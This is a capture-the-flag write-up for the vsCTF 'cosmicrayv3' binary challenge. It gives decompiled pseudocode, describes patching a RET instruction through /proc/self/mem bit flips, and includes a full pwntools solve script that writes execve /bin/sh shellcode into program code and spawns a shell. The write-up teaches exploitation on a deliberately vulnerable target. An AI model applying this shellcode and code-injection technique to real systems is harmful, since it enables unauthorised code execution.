cosmic_ray essentially allows us to choose any bit in the program to flip. The pseudocode is as follows:
undefined8 cosmic_ray(void){__off_t local_30;char local_26;char local_25;int local_24; undefined8 local_20;long local_18;int local_10;int local_c;puts("Enter an address to send a cosmic ray through:");__isoc99_scanf("0x%lx",&local_30);getchar();putchar(10); local_10 =open("/proc/self/mem",2);lseek(local_10,local_30,0);read(local_10,&local_25,1); local_18 =byte_to_binary((int)local_25);puts("|0|1|2|3|4|5|6|7|");puts("-----------------");putchar(0x7c);for (local_c =0; local_c <8; local_c = local_c +1) {printf("%d|",(ulong)(uint)(int)*(char*)(local_18 + local_c)); }putchar(10);putchar(10);puts("Enter the bit position to flip:");__isoc99_scanf(&DAT_00402098,&local_24);getchar();if ((-1< local_24) && (local_24 <8)) { local_20 =flip_bit(local_18,local_24); local_26 =binary_to_byte(local_20);putchar(10);printf("Bit succesfully flipped! New value is %d\n\n",(ulong)(uint)(int)local_26);lseek(local_10,local_30,0);write(local_10,&local_26,1);return0; } /* WARNING: Subroutine does not return */exit(1);}
We should first enter the byte to flip in the format 0x123456, then enter the bit to flip which is between 0 (for most significant bit) and 7 (for least significant bit).
Since cosmic_ray is only called by main once, we need to find a way to get many bit flips. Notice that the assembly code for cosmic_ray is located above the assembly code for main:
As such, if we were to modify the RET instruction to another valid instruction, the program execution would continue to main and call cosmic_ray again. We can change the byte 0x4015aa at bit 0 from 1 to 0, which would change the byte from c3 to 43, changing our RET to an instruction that is still valid.
Now we want instructions after the CALL cosmic_ray instruction in main to contain shellcode. This way, when we finally allow the cosmic_ray function to return, our shellcode will be executed. So from address 0x4015e5 onwards, the bytes will contain our shellcode.
Our plan is as follows:
Flip bit 0 at 0x4015aa
Flip bits from 0x4015e5 onwards until our entire shellcode is in the program code
Flip bit 0 at 0x4015aa again to allow cosmic_ray to return
In my script, I define the function flip to handle process i/o, indicating which bit to flip. I also have a function getbit that obtains the specified bit from the program's code.
For step 2, I iterate through every bit of the shellcode. If the bit is different from the corresponding bit in the program's code, I request the bit to be flipped. Below is my solve script.
from pwn import*from bitstring import BitArray# fill in binary nameelf = context.binary =ELF("./cosmicrayv3")libc =ELF("./libc-2.35.so")ld =ELF("./ld-2.35.so")context.log_level ='debug'# shellcode from https://www.exploit-db.com/exploits/47008shellcode =b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"shellcode_hex = shellcode.hex()shellcode_binarystr =BitArray(hex=shellcode_hex).binprint(f"binary string: {shellcode_binarystr}")f =open("./cosmicrayv3", "rb")data = f.read()if args.REMOTE:# fill in remote address p =remote("vsc.tf", 7000)else: p =process([ld.path, elf.path], env = {"LD_PRELOAD": libc.path})# create exploit heredefflip(addr,bits): addr =str(hex(addr)).encode() bits =str(bits).encode() p.sendlineafter(b"through:\n", addr) p.sendlineafter(b"flip:\n", bits)# bits are from left to right. ie msb is bit 0, lsb is bit 7defgetbit(addr,bits): real_addr = addr -0x400000 binary_byte =hex(data[real_addr]) byte_binarystr =BitArray(hex=binary_byte).bin byte_binarystr = byte_binarystr.rjust(8, '0')# count bits from leftif byte_binarystr[bits]=='0':return'0'else:return'1'# change c3 (ret)flip(0x004015aa, 0)# now we have infinite flips# let 0x4015e5 and after be our shellcodecurr_byte, curr_bits=0x04015e5,0for i inrange(len(shellcode_binarystr)): a, b =getbit(curr_byte, curr_bits), shellcode_binarystr[i]if a != b:flip(curr_byte, curr_bits)if curr_bits ==7: curr_byte +=1 curr_bits =0else: curr_bits +=1flip(0x004015aa, 0)# flip back to exit cosmic_rayp.interactive()# vsctf{4nd_th3_st4r5_4l1gn_0nc3_m0r3}